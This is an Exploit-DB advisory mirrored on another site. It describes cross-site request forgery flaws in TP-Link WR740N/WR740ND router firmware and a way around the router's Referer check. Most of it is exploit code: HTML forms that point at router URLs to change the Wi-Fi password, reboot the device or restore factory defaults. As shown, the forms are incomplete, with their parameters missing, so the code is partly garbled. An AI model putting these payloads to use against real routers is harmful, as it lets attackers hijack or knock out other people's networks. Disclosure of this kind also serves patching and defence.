TP-Link WR740N/WR740ND – Multiple Cross-Site Request Forgery Vulnerabilities

Exploit Database
102 阅读

作者： Samandeep Singh

日期： 2013-11-25
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/29802/

# Exploit Title: TPLINK WR740N Multiple CSRF Vulnerabilities

# Date: 11/24/2013

# Author: SaMaN( @samanL33T )

# Vendor Homepage: http://tplink.com

# Category: Hardware/Wireless Router

# Firmware Version: 3.16.6 Build 130529 Rel.47286n and below

# Tested on: WR740N/WR740ND (May be possible on other models)

---------------------------------------------------

Technical Details

~~~~~~~~~~~~~~~~~~

TPLINK WIreless Router WR740N has a Cross Site Request Forgery Vulnerability in its Web Console. Attacker can easily change Wireless password,Reboot Router,Change Settings by simply making the user visit a CSRF link.

Application uses "HTTP-REFERER" check functionality to check for CSRF attacks. But it can easily be bypassed using the "Referer" parameter with value set to target's I.P in the GET request.

Exploit Code

~~~~~~~~~~~~~

Change WPA/WPA2 password by CSRF

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

<html>

<form action="http://[TARGET/IP]/userRpm/WlanSecurityRpm.htm"

method="GET" name="form">

</form>

</body>

</html>

#For Changing the Security to Open WEP, simply change "secType" value to 1.

Reboot Router by CSRF

~~~~~~~~~~~~~~~~~~~~~

<html>

<form action="http://[TARGET/IP]/userRpm/SysRebootRpm.htm"

method="GET" name="form">

</form>

</body>

</html>

Factory Reset the Router

~~~~~~~~~~~~~~~~~~~~~~~~

<html>

<form action="http://[TARGET/IP]/userRpm/RestoreDefaultCfgRpm.htm"

method="GET" name="form">

</form>

</body>

</html>

SaMaN

twitter : @samanL33T <https://twitter.com/samanL33T>